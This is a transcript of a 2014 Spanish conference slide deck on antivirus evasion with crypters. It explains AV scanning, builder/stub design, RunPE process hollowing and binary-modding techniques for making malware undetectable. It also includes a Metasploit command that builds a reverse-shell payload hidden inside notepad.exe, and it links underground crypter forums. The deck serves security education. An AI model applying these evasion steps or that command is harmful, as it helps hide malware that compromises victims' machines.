Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

45
Evasión de Anti-Virus: Uso de Crypters Abraham Pasamar - INCIDE - #mundohackerday - 29.04.14

description

Charla en MundoHackerDay sobre técnicas de evasión de AntiVirus y uso de Crypters.

Transcript of Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

Page 1: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

Evasión de Anti-Virus: Uso de Crypters

Abraham Pasamar - INCIDE - #mundohackerday - 29.04.14

Page 2: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

Whoamincd:~ apasamar$ whoami apasamar [email protected] @apasamar a.k.a brajan ncd:~ apasamar$ cat apasamar.cv Ingeniero superior y Máster en seguridad de la información Socio fundador de INCIDE: Expertos en prueba electrónica Forensics / Periciales Respuesta a incidentes Consultoría/Auditoría de Seguridad !ncd:~ apasamar$ rm apasamar.cv

Page 3: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

de qué va esto...• Introducción

• AV’s como funcionan

• Tipos de malware y detección AV’s

• Medidas de evasión

• Auto-cifrado, Polimorfismo, Ofuscación, Compresión

• Crypters

• tipos y funcionamiento

• stub

• stub FUD

• técnicas Modding

• Recursos

Page 4: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

introducción

• MALWARE = $$$$$$$$$

• BOTNETS, APT, RANSOMWARE

• Empresas AV’s —> Detectar MALWARE

• Malos: INDETECTAR MALWARE

Page 5: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

introducción

• MALWARE = $$$$$$$$$

• BOTNETS, APT, RANSOMWARE

• Empresas AV’s —> Detectar MALWARE

• Malos: INDETECTAR MALWARE

Page 6: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

introducciónObjetivo de los Malos:

Page 7: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

introducciónObjetivo de los Malos:

Page 8: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

AV’s howto• Los AntiVirus escanean binarios EN DISCO

• NO analizan la memoria, sino los binarios en disco que arrancan procesos

• Buscan firmas: cadenas binarias (BBDD)

• Buscan elementos/técnicas maliciosas (Heurística): APIS, funciones, XOR, etc

• Sandbox (ejecución parcial): búsqueda de técnicas de descifrado, etc

Page 9: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

AV’s howto

EJECUTABLE

DISCO

RAM

PRO

CES

O?

SCAN?

AV

Page 10: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

AV’s howto• Proceso análisis de los AV’s:

Ataques

Page 11: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

AV’s howto

• Recomendado:

“Abusing File Processing in Malware

Detectors for Fun and Profit” (2012)

Suman Jana and Vitaly Shmatikov

The University of Texas at Austin

Page 12: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

AV’s howto• Metasploit Framework (Rapid7)

• Community Edition:

• msfpayload windows/shell/reverse_tcp LHOST=192.168.1.75 LPORT=4444 R | msfencode -c 5 -e x86/shikata_ga_nai -x notepad.exe > notepad2.exe

• Pro Edition:

• Generate AV-evading Dynamic Payloads

Page 13: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

tipos de malware y detección AV’s

• Programas espía comerciales: (white list, firmados)

• e-blaster

• 007

• perfect keylogger

Page 14: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• Malware recién creado:

• detección baja (sin firmas)

• posible detección heurística

tipos de malware y detección AV’s

Page 15: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• Malware existente: (muy conocidos, firmas y heurística)

• troyanos

• downloaders

• stealers

• reverse shells

• ...

tipos de malware y detección AV’s

Page 16: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

¿cómo se puede indetectar el malware ya detectado ?

• C r y p t e r s:

• Software que permite cifrar CUALQUIER MALWARE para hacerlo indetectable a los antivirus.

• La rutina de descifrado tiene que poder ejecutarse (no se cifra)

Page 17: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

crypters

Page 18: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

builder / stub

• Builder:

• Encargado de crear el ejecutable compuesto por el STUB y el MALWARE CIFRADO

• Stub:

• Encargado de descifrar el MALWARE CIFRADO y ejecutarlo

Page 19: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

!!!!!!!!!

CRYPTER + STUB

STUB

MALWARE DETECTADO

MALWARE CIFRADO

STUB

CRYPTER (Builder)

XOR, RC4, ...

exe dll

recurso

builder / stub

Page 20: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

STUB MALWARE CIFRADO

STUB MALWARE CIFRADOKEY

Sepa

rado

r

Sepa

rado

r

También se puede usar un recurso

builder / stub

Page 21: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• Tipos de crypters:

• ScanTime

• RunTime

builder / stub

Page 22: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• ScanTime

STUB MALWARE CIFRADO MALWARE DETECTADO

DISCO

AV

stub

Page 23: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• RunTime

STUB MALWARE CIFRADO

DISCO

RAM

MA

LWA

RE D

ETEC

TAD

O

AV

stub

Page 24: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• Componentes STUB:

• Rutina Decrypt

• RunPe

!

stub

Page 25: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

RunPE o Dynamic ForkingCreateProcess

PRO

CES

O

1(CREATE_SUSPENDED)

GetThreadContext

PEB EBX

EAX

BaseAddress 1

EP I

+8

PRO

CES

O

2

ReadFile WriteProcessMemoryEP 2

BaseAddress 2

SetThreadContextResumeThread

Page 26: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

FUD

• Objetivo: Stub FUD (Full UnDetectable)

• Indetección desde Fuente (Source)

• Indetección desde Binario

• ¿Cómo?

• MODDING

Page 27: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

modding source• A mano o con ofuscadores:

• Reemplazar funciones (SPLIT,..)

• Reemplazar y/o ofuscar funciones/strings/variables y Cifrar con rot13 o Hex

• Cifrados: RC4 y XOR quemadas

• Alternativas: TEA, DES, etc

• RunPE alternativos

• APIs Falsas

• TLB (Tab Library File)

• Trash code

Page 28: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

modding binario• Indetección desde Binario:

• Se utilizan diferentes técnicas como:

• Dsplit/AvFucker

• SignatureFucker

• Hexing

• RIT

• XOR y variantes

• Tips

Page 29: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• Se modea el STUB, el BUILDER no es parte del malware in the wild

• Se buscan las FIRMAS o puntos de detección

• Firmas sencillas

• Firmas Múltiples

• Heurística

modding binario

Page 30: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

AV’s howto

• Recomendado:

“Bypassing Anti-Virus Scanners” (2012)

InterNOT Security Team

Page 31: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• ¿Rutina CIFRADO/DESCIFRADO dentro del STUB?

stub.exe

EP

Firmas stub.exe

OLD EP

Firmas

NEW EP

CIFRADO

Descifrado

modding binario

Page 32: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• SCAN DEL STUB ORIGINAL

modding binario

Page 33: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• RUTINA DE CIFRADO

• NEW EP

• INSERTAR RUTINA

• .text SECTION

• desde 1050

• hasta import table

modding binario

Page 34: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• RUTINA CIFRADO EN NEW EP

modding binario

Page 35: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• RUTINA DESCIFRADO Y EJECUCIÓN EN NEW EP

modding binario

Page 36: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• SCAN DEL STUB MODIFICADO

modding binario16 AV’s KO

Page 37: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• TÉCNICAS:

• Dsplit/AvFucker

• SignatureFucker

• Hexing

• RIT

• XOR y variantes

• Tips

modding binario

Page 38: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• Técnica DSplit:

Cabecera Cuerpo EXE

Cabecera Cuerpo EXE

1000 bytes

Cabecera Cuerpo EXE

2000 bytes

Cabecera Cuerpo EXE

3000 bytes

Cabecera Cuerpo EXE

··· Nx1000 bytes

modding binario

Page 39: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• Técnica AvFucker:

Cabecera Cuerpo EXE

Cuerpo EXECabecera 0000000000

1000 bytes

Cabecera Cuerpo EXE0000000000

1000 bytes

Cabecera Cuerpo EXE0000000000

1000 bytes

Cabecera Cuerpo EXE

···0000000000

1000 bytes

modding binario

Page 40: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• Técnica RIT

• localizar firma

• si son instrucciones partir flujo

• saltar a otro punto (hueco)

• finalizar las instrucciones

• retornar al punto posterior

!

modding binario

Page 41: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

• Técnica XOR

• localizar firma/s

• aplicar XOR con un valor p.e. 22

• Modificar EP o saltar a un hueco

• aplicar XOR 22

• retornar al punto posterior

!

!

modding binario

Page 42: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

Detectado (EP):

XOR de los bytes detectados:

Nuevo EP ( Instruccione XOR reverso):

modding binario

Page 43: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

otras técnicas

• Añadir APIs Falsas

• Edición Hexadecimal de cadenas

• Mover/cambiar direcciones de llamadas a las funciones

• Cambiar llamadas por nombre/offeset

• Introducir en STUB la función de la DLL detectada

!

Page 44: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

recursos

• http://www.indetectables.net

• http://www.udtools.net

• http://www.masters-hackers.info

• http://www.level-23.biz/

• http://www.corp-51.net/

• http://www.underc0de.org

!

Page 45: Evasion_AVs_Uso_de_Crypters-MundoHackerDay_2k14_apasamar

Avda. Diagonal, 640 6ª Planta

08017 Barcelona

[email protected]

http://www.incide.es

http://www.twitter.com/1NC1D3

http://www.atrapadosporlosbits.com

http://www.youtube.com/incidetube

Companies > INCIDE - Investigación Digital

Tel./Fax. +34 932 546 277 / +34 932 546 314

¿ P R E G U N T A S ?